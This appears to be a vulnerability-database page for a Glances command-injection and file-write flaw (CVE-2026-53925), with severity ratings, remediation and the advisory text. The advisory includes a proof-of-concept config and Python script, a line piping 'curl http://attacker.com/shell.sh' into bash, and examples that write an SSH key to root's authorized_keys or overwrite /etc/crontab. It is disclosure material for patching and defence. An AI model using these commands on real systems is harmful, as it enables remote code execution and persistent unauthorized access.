Skip to main content

Glances EUVDEUVD-2026-39518

| CVE-2026-53925 HIGH
Path Traversal (CWE-22)
2026-06-23 https://github.com/nicolargo/glances GHSA-3vwc-qwhc-3mj7
7.8
CVSS 3.1 · Vendor: https://github.com/nicolargo/glances
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Gain write access to glances.conf
  2. Delivery
    Inject `>` or `&&` operator into AMP command value
  3. Exploit
    Wait for AMP refresh tick
  4. Install
    secure_popen() parses operator without validation
  5. C2
    Arbitrary file write or command execution as Glances user
  6. Execute
    Establish persistence (cron, authorized_keys)
  7. Impact
    Escalate to full host compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to already have write access to the glances.conf configuration file consumed by a running Glances instance - typically via a misconfigured shared/NFS filesystem, a writable container volume mount, a compromised configuration-management pipeline, or a separate file-write vulnerability. Glances must be running with AMP modules enabled (the Default AMP and/or the SystemV AMP code paths in glances/amps/), and the affected [amp_<name>] section must contain a command= or service_cmd= key that will be dispatched through secure_popen() on the AMP refresh interval. The --disable-config-exec hardening flag does NOT block this attack because it only suppresses backtick execution in config.get_value(), not the >/|/&& operator parsing in secure_popen(). Impact is bounded by the filesystem permissions of the Glances process user - root-run Glances yields full host compromise, while an unprivileged Glances user limits writes to files owned by that user.

Impact

The CVSS 3.1 vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8 High) accurately reflects that exploitation requires local privileges sufficient to modify glances.conf - not a remote unauthenticated path - but yields full triad impact (arbitrary file write as the Glances process user plus arbitrary command chaining). No EPSS score, KEV listing, or SSVC decision data is provided in the input; the GitHub Security Advisory includes a detailed working PoC, so publicly available exploit code exists, but there is no evidence of active exploitation. Real-world risk is moderate and bounded: an attacker must first reach the config file (via container volume mount, shared filesystem, separate file-write bug, or compromised config-management pipeline), so this is primarily a privilege-escalation / persistence primitive rather than an initial-access vector. The risk increases materially in container/Kubernetes deployments where glances.conf is mounted from a less-trusted source or where Glances runs as root.

Exploit ScenarioDerived

An attacker who has gained low-privileged write access to a shared volume mounting glances.conf (for example, a co-tenant in a Kubernetes namespace with the same ConfigMap, or a user on a multi-tenant host where Glances runs as root) edits an [amp_*] section to set command=echo ssh-rsa AAAA... attacker@evil >> /root/.ssh/authorized_keys. On the next AMP refresh cycle, Glances calls secure_popen(), which parses the > operator and writes the attacker's SSH key into root's authorized_keys, granting persistent remote root access. A working PoC demonstrating arbitrary file write through this exact path is published in the GitHub Security Advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Arbitrary file write and command execution in Glances (Python system monitoring tool) versions 4.0.8 through 4.5.4 allows attackers with the ability to modify glances.conf to abuse shell-like operators (>, |, &&) interpreted by the secure_popen() function inside AMP module command configuration. The flaw bypasses the --disable-config-exec mitigation introduced for CVE-2026-33641, since that flag only blocks backtick execution in config.get_value() and not operator parsing in secure_popen(). Publicly available exploit code exists in the GitHub Security Advisory (GHSA-3vwc-qwhc-3mj7), but no public exploit identified in active campaigns at time of analysis.

RemediationAI

Vendor-released patch: upgrade Glances to version 4.5.5 or later (https://github.com/nicolargo/glances/releases/tag/v4.5.5), which also addresses CVE-2026-46606, CVE-2026-46607, CVE-2026-46608, and CVE-2026-46611 shipped in the same release. If immediate upgrade is not possible, tightly restrict filesystem permissions on glances.conf so only the Glances service account can write it (chmod 600, owned by a non-root user), avoid mounting glances.conf from untrusted volumes in container deployments, and remove or comment out any [amp_*] sections (especially command= and service_cmd= keys) that are not strictly required - disabling unused AMP modules eliminates the sink reachability. Note that the existing --disable-config-exec flag does NOT mitigate this issue and should not be relied upon. Where AMP monitoring must remain enabled, audit every command / service_cmd value for the characters >, |, and && and reject any config that contains them; the side effect is that legitimate piped/chained monitoring commands will need to be rewritten as wrapper scripts.

Affected VersionsENISA

Glances 4.0.8, < 4.5.5

Affected Packages

pypi glances fix: 4.5.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Glances is a cross-platform Python-based system monitoring tool (pkg:pip/glances) that supports Application Monitoring Process (AMP) modules whose command and service_cmd values are read from glances.conf and dispatched through a custom secure_popen() helper in glances/secure.py. Rather than calling subprocess.run(shell=False, args=[...]) with an argument vector, secure_popen() re-implements shell-like parsing by splitting the input on &&, |, and > - using the substring after > directly in open(path, 'w') with no path validation. This places the vulnerability in CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) territory, but with effective command-injection (CWE-77/78) consequences because chained and piped segments are also executed. The root cause is treating untrusted configuration data as a mini shell language inside what is intended to be a safer subprocess wrapper.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nicolargo/glances) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Requires local write access to glances.conf (PR:L) but no user interaction; the operator parsing yields arbitrary file write and command execution as the Glances user, giving full C/I/A impact.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/nicolargo/glances).

CVSS VectorVendor: https://github.com/nicolargo/glances

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.

When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |).

Crucially, this vulnerability is not mitigated by the --disable-config-exec flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in config.get_value(); it does not affect the secure_popen() function's interpretation of shell-like operators.

Details

Affected code path 1 - Default AMP (glances/amps/default/__init__.py:69)

python
res = self.get('command')
# ...
self.set_result(secure_popen(res).rstrip())

The command config value is loaded from [amp_<name>] sections via GlancesAmp.load_config() (glances/amps/amp.py:81):

python
self.configs[param] = config.get_value(amp_section, param).split(',')

Affected code path 2 - SystemV AMP (glances/amps/systemv/__init__.py:60)

python
res = secure_popen(self.get('service_cmd'))

The service_cmd config value is loaded from [amp_systemv] sections via the same GlancesAmp.load_config() method.

Sink - secure_popen() (glances/secure.py:33-77)

The function explicitly parses:

  • > for file redirection (line 39): cmd.split('>') - the path after > is used directly in open(stdout_redirect, "w") (line 71) with no path validation.
  • | for command piping (line 51): cmd.split('|') - each segment is executed as a separate Popen with stdout piped to the next.
  • && for command chaining (line 27 in secure_popen): cmd.split('&&') - each segment is executed sequentially.

None of these operators are sanitized or restricted when loading AMP configuration values.

Why --disable-config-exec does not help:

The --disable-config-exec flag (introduced for CVE-2026-33641) only prevents system_exec() from running backtick-embedded commands in config.get_value(). It does not affect how the resulting string value is processed by secure_popen(). A command value like echo data > /etc/crontab contains no backticks and passes through get_value() unchanged, then secure_popen() interprets the > operator and writes to the arbitrary path.

PoC

Clean-checkout recipe:

  1. Create a test configuration file:
bash
cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp

[outputs]
cors_origins=*
EOF
  1. Run a Python script that simulates the AMP command execution path:
python
import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os
# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)
# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')
# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')
# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
    content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content
# Cleanup
os.remove(marker)
print('CONFIRMED: Arbitrary file write via secure_popen > in AMP command')

Expected vulnerable output:

Command: 'echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp'
Result: 'POC_ARBITRARY_FILE_WRITE\n'
Written to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\n'
CONFIRMED: Arbitrary file write via secure_popen > in AMP command

Negative/control case (demonstrating --disable-config-exec only blocks backticks):

python
# This IS blocked by --disable-config-exec:
# command=`rm -rf /` → get_value() skips backtick execution
# This is NOT blocked by --disable-config-exec:
# command=echo data > /etc/crontab → secure_popen writes to /etc/crontab

Cleanup:

bash
rm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp

Impact

An attacker who can modify glances.conf (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:

  1. Write arbitrary content to arbitrary files via the > operator - e.g., overwriting /etc/crontab, ~/.ssh/authorized_keys, or any file writable by the Glances process user.
  2. Execute arbitrary commands via the && and | operators - e.g., echo x && curl http://attacker.com/shell.sh | bash.
  3. Exfiltrate data via the | operator piping command output to network utilities.

The existing --disable-config-exec mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (config.get_value() backtick processing vs. secure_popen() operator interpretation).

Suggested remediation

  1. Remove file redirection support from secure_popen() unless explicitly required. The > operator in __secure_popen() (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).
  2. Sanitize AMP command values before passing them to secure_popen(). Apply the same sanitization used in actions.py:_sanitize_mustache_dict() to strip &&, |, >>, and > from AMP command and service_cmd config values, or refuse to execute commands containing these operators.
  3. Consider replacing secure_popen() with subprocess.run(shell=False) using explicit argument arrays. The secure_popen() function reimplements shell-like operator parsing (&&, |, >) which is inherently risky. Standard subprocess.run() with shell=False and an explicit argument list avoids this class of vulnerability entirely.
  4. Add a regression test that verifies AMP commands cannot contain file redirection or command chaining operators.

Executive ViewAI

Why It Matters

Glances 4.0.8 through 4.5.4 contain an arbitrary code execution vulnerability triggered by modification of the application's configuration file, enabling attackers with write access to execute arbitrary commands on monitored systems. Organizations deploying these versions face direct risk of unauthorized system access, data compromise, and operational disruption across their monitoring infrastructure. The absence of available patches requires immediate preventive controls and configuration hardening.

Business Impact: High
Compensating Controls

Restrict filesystem permissions on glances.conf to read-only access; disable the AMP module if not required for operations; apply --disable-config-exec flag (partial mitigation); implement host-based intrusion detection for command execution attempts; segment monitoring infrastructure from production systems; disable or restrict remote configuration management capabilities.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Medium
popular open-source Python system monitor, common in DevOps and container observability stacks
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy